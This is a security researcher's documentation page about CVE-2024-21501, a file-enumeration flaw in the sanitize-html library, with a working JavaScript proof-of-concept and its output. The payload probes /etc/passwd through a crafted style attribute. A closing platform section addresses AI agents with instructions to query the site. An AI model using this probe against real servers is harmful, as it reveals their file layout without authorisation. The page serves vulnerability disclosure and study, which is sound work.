> For the complete documentation index, see [llms.txt](https://0xpthree.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xpthree.gitbook.io/notes/exploits-pocs/node/sanitize-html-cve-2024-21501.md).

# sanitize-html - CVE-2024-21501

Affected versions (**<2.12.1**) of this package are vulnerable to <mark style="color:red;">Information Exposure</mark> when used on the backend and with the `style` attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server.

***

## PoC || GTFO

```javascript
// index.js
const sanitizeHtml = require('sanitize-html');

const file_exist = `<a style='background-image: url("/*# sourceMappingURL=/etc/passwd */");'>@slonser_</a>`;
const file_dont_exist = `<a style='background-image: url("/*# sourceMappingURL=/etc/nopasswd */");'>@slonser_</a>`;

// vulnerable sanitize
const sanitize = (input) => sanitizeHtml(input, {
  allowedAttributes: {
    ...sanitizeHtml.defaults.allowedAttributes,
    a: ['style'],
  },
});

const sanitized_exist = sanitize(file_exist);
const sanitized_dont_exist = sanitize(file_dont_exist);

console.log(sanitized_exist, "<-- response when file is found");
console.log(sanitized_dont_exist, "<-- response when file is not found");

```

```bash
root@8cf83668943d:~# node index.js 
[... snip ...]
<a>@slonser_</a> <-- response when file is found
<a style="background-image:url(&quot;/*# sourceMappingURL=/etc/nopasswd */&quot;)">@slonser_</a> <-- response when file is not found

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://0xpthree.gitbook.io/notes/exploits-pocs/node/sanitize-html-cve-2024-21501.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
